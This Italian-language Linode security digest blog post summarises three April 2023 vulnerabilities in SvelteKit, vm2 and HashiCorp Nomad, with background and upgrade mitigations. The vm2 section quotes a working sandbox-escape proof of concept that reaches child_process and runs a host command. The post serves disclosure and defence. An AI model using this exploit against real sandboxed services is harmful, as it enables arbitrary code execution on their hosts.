Vai al contenuto principale
BlogSicurezzaBollettino di sicurezza Linode dal 10 aprile al 17 aprile 2023

Linode Security Digest dal 10 aprile al 17 aprile 2023

Digesto di sicurezza di Linode

Nel digest di questa settimana discuteremo di quanto segue:

  • Un bypass della protezione CSRF in SvelteKit;
  • Un'evasione sandbox in versione vm2; e 
  • Un bypass dell'autorizzazione ACL non autenticato per HashiCorp Nomad e Nomad Enterprise con conseguente escalation dei privilegi.
CVE-2023-29003: SvelteKit: Bypass della protezione CSRF utilizzando l'intestazione Content-Type

Sfondo

SvelteKit è un framework per la creazione di applicazioni web che utilizzano la libreria Svelte JavaScript. Offre un'esperienza di sviluppo semplificata grazie a funzionalità quali il rendering lato server, il routing e l'instradamento delle pagine basato su file.

Vulnerabilità

La vulnerabilità, CVE-2023-29003, colpisce le versioni di SvelteKit inferiori alla 1.15.1 a causa dell'insufficiente protezione CSRF (Cross-Site Request Forgery). Prima di SvelteKit 1.15.1, la protezione CSRF veniva eseguita quando erano soddisfatte tre condizioni: (1) la richiesta era un POST, (2) c'era una mancata corrispondenza tra l'origine del sito e l'intestazione HTTP di origine della richiesta e (3) se la richiesta includeva contenuto di un modulo, indicato da un'intestazione Content-Type di "application/x-www-form-urlencoded" o "multipart/form-data". 

Se tutte queste condizioni sono soddisfatte, viene inviata una risposta 403 Forbidden alla richiesta. Questo controllo può essere aggirato utilizzando un diverso Content-Type nella richiesta, come "text/plain".

Mitigazione

  • La vulnerabilità è stata risolta nella versione 1.15.1 di SvelteKit. L'aggiornamento alla versione più recente è il modo consigliato per risolvere il problema.
CVE-2023-29199: vm2: Sandbox Escape nel trasformatore di codice sorgente

Sfondo

vm2 è un modulo di Node.js che fornisce un ambiente sandbox per l'esecuzione di codice non attendibile in modo sicuro. Consente di creare contesti di esecuzione isolati in cui gli aggressori possono eseguire codice non attendibile senza poter accedere al contesto globale o ai dati sensibili.

Vulnerabilità

La vulnerabilità si basa su un'eccezione nella logica di sanificazione del trasformatore del codice sorgente di vm2. Questa vulnerabilità consente a un utente malintenzionato di bypassare la funzione handleException() e di far trapelare le eccezioni dell'host non sanificate, consentendo a un utente malintenzionato di sfuggire alla sandbox ed eseguire codice arbitrario nel contesto dell'host.

L'utente GitHub leesh3288 ha realizzato un proof of concept per sfruttare questa vulnerabilità, che mostra la facilità con cui il codice può essere eseguito nel contesto dell'host:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

Mitigazione

  • La vulnerabilità è stata risolta nella versione 3.9.16 di vm2. L'aggiornamento alla versione più recente è il modo consigliato per risolvere il problema.
CVE-2023-1782: HashiCorp Nomad: Escalation dei privilegi con bypass delle ACL non autenticato

Sfondo

HashiCorp Nomad è una piattaforma di orchestrazione di container che consente agli utenti di distribuire e gestire facilmente le applicazioni in vari ambienti, tra cui data center, cloud e postazioni edge. Offre funzionalità quali la distribuzione, la scalabilità e l'autoguarigione automatizzate, nonché il supporto di più runtime di container e algoritmi di pianificazione.

Vulnerabilità

Non ci sono molte informazioni specifiche su questa vulnerabilità. Tuttavia, in base al rapporto del ricercatore, le richieste HTTP non autenticate possono aggirare le autorizzazioni ACL previste ogni volta che una richiesta viene elaborata sul server tramite RPC interni. Questa vulnerabilità riguarda HashiCorp Nomad e HashiCorp Nomad Enterprise per le versioni da 1.5.0 a 1.5.2.

Mitigazione

  • Questa vulnerabilità può essere risolta abilitando mTLS sul cluster host.
  • Questa vulnerabilità è stata risolta nella versione 1.5.3 di HashiCorp Nomad. L'aggiornamento alla versione più recente è il modo consigliato per risolvere questo problema. 

Commenti

Lascia una risposta

Il vostro indirizzo e-mail non sarà pubblicato. I campi obbligatori sono contrassegnati da *